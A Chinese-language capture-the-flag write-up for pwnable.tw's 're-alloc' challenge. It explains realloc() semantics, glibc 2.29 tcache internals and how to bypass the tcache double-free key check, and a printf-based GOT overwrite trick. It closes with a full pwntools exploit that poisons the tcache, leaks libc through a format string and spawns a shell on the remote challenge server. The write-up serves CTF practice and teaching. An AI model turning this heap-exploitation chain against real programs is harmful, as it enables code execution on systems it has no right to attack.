[pwnable.tw] re-alloc - realloc() 技巧利用
前置知识
关于realloc
realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);
- 第一个参数为空时,realloc等价于malloc(size)
- 第一个参数不为空时
- 若mem_address被检测到不是堆上的地址,会直接报错
- 若mem_address为合法堆地址
- 若第二个参数size=0,则realloc相当于free(mem_address)
- 若第二个参数不为0,这时才是realloc本身的作用——内存空间的重分配
- 如果realloc的size小于原有size则内存位置不会变动,函数返回原先的指针
- 如果realloc的size大于原有size,则会从高地址拓展堆块大小或直接从top chunk取出合适大小的堆块,然后用memcpy将原有内容复制到新堆块,同时free掉原堆块,最后返回新堆块的指针
- 注意,realloc修改size后再free和直接free进入的是不同大小的bin(这点很重要)
关于glibc2.29中的tcache
glibc2.29中的tcache多加了一个防止double free的验证机制,那就是在free掉的tcache chunk的next域后增加一个key域,写入tcache arena所在位置地址。如果free时检测到这个key值,就会在对应tcache bin中遍历查看是否存在相同堆块。(这点很重要,涉及到如何tcache double free
)
关于glibc2.29 tcache机制部分源码:
- _int_malloc part
- 这里我在本地和远程的环境出现了不同,远程中没有在取出tcache时判断同一条bin上剩余tcache chunk的数量,所以无需先伪造足够长度的bin再进行tcache attack。但是我本地的libc版本存在这一检测机制,于是我按照本地的libc版本来调试。
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
- _int_free part
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
//这里就是通过对key的判断预防double free的机制
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
//tcache容量有上限
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
- tcache_put part
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
- tcache_get part
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
综上可以发现,tcache的double free检测机制,其实可以通过uaf清空key域来绕过。但是远程环境中不检测当前tcache bin剩余tcache chunk数量,可以直接改next域。
关于printf
提到printf不得不提本题中开启的FORTIFY
保护,这保护增加了以下限制:
- 包含%n的格式化字符串不能位于程序内存中的可写地址。(不能任意写了)
- 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。(这条不是很确定,因为本题直接用%21$p就可以打通,所以暂时搁置)
printf
的返回值是输出字符的数量,这一特性引申了一个技巧,那就是用printf_plt
去覆盖atoll_got
的内容。而atoll
本身接收一个字符串参数,这就使得atoll
处可以产生格式化字符串泄露。而且,通过控制printf
的返回值,可以尽可能减小调用atoll
时造成的错误(例如,通过"%xc"
可以控制printf
返回x,从而实现取得可控大小整数的目的)。
题目分析
主要函数
- allocate
程序获取用户输入的大小和堆块下标来分配堆块内存,并在bss上保存堆块索引。但是下标只能为0,1,堆块大小也限制在0x78内(不好造出unsorted_bin来泄露地址)。
在读取内容的时候存在一个offbynull,然而并没有啥用....
- realloca
这里对堆块索引保存的指针指向realloc,同样有0x78大小限制。但是没有限制size=0,这就存在了索引不会清空的任意free,并且可以任意uaf,这就是本程序最主要的漏洞所在地。
- rfree
本身没啥洞,但是后面要借助其中的atoll来进行格式化字符串攻击泄露地址。
EXP
from pwn import *
#p = process("./re-alloc")
p = remote("chall.pwnable.tw", 10106)
elf = ELF("./re-alloc")
libc = ELF("./libc-remote.so")
context.log_level = "debug"
def alloc(idx, size, content):
p.recvuntil(b"Your choice: ")
p.sendline(b"1")
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Data:")
p.send(content)
def realloc(idx, size, content):
p.recvuntil(b"Your choice: ")
p.sendline(b"2")
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
if len(content)>0:
p.recvuntil(b"Data:")
p.send(content)
def free(idx):
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())
def exit():
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
def exp():
#const
printf_plt = elf.symbols[b"printf"]
atoll_plt = elf.symbols[b"atoll"]
atoll_got = elf.got[b"atoll"]
print("printf_plt:", hex(printf_plt))
print("atoll_plt:", hex(atoll_plt))
print("atoll_got:", hex(atoll_got))
# fake tcache
## get two tcache in same mem
## tcache attack
alloc(0, 0x28, b"aaaa")
realloc(0, 0, b"")
realloc(0, 0x28, p64(atoll_got))
alloc(1, 0x28, b"aaaa")
realloc(0, 0x38, b"a"*8)
free(0)
realloc(1, 0x48, b"a"*8)
free(1)
#gdb.attach(p)
## get two tcache in same mem
## tcache attack
alloc(0, 0x58, b"bbbb")
realloc(0, 0, b"")
realloc(0, 0x58, p64(atoll_got))
alloc(1, 0x58, b"bbbb")
realloc(0, 0x68, b"a"*8)
free(0)
realloc(1, 0x78, b"a"*8)
free(1)
#gdb.attach(p)
#make atoll_got->printf_plt
alloc(0, 0x28, p64(printf_plt)) #*
#leak libc_in_stack
#gdb.attach(p, "b *0x401603\nc\n")
p.sendafter(b"Your choice: ", b"3\n")
p.sendafter(b"Index:", b"%21$p")
leak = int(p.recvuntil(b"Invalid", drop=True), 16)
libc_base = leak - 235 - libc.symbols[b"__libc_start_main"]
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
print("leak:", hex(leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
# make atoll_got->system
p.sendafter(b"Your choice: ", b"1\n")
p.sendafter(b"Index:", b"a")
p.sendafter(b"Size:", b"%88c")
p.sendafter(b"Data:", p64(system))
#gdb.attach(p)
#getshell
p.sendafter(b"Your choice: ", b"3\n")
p.sendafter(b"Index:", b"/bin/sh\x00")
p.interactive()
if __name__ == "__main__":
exp()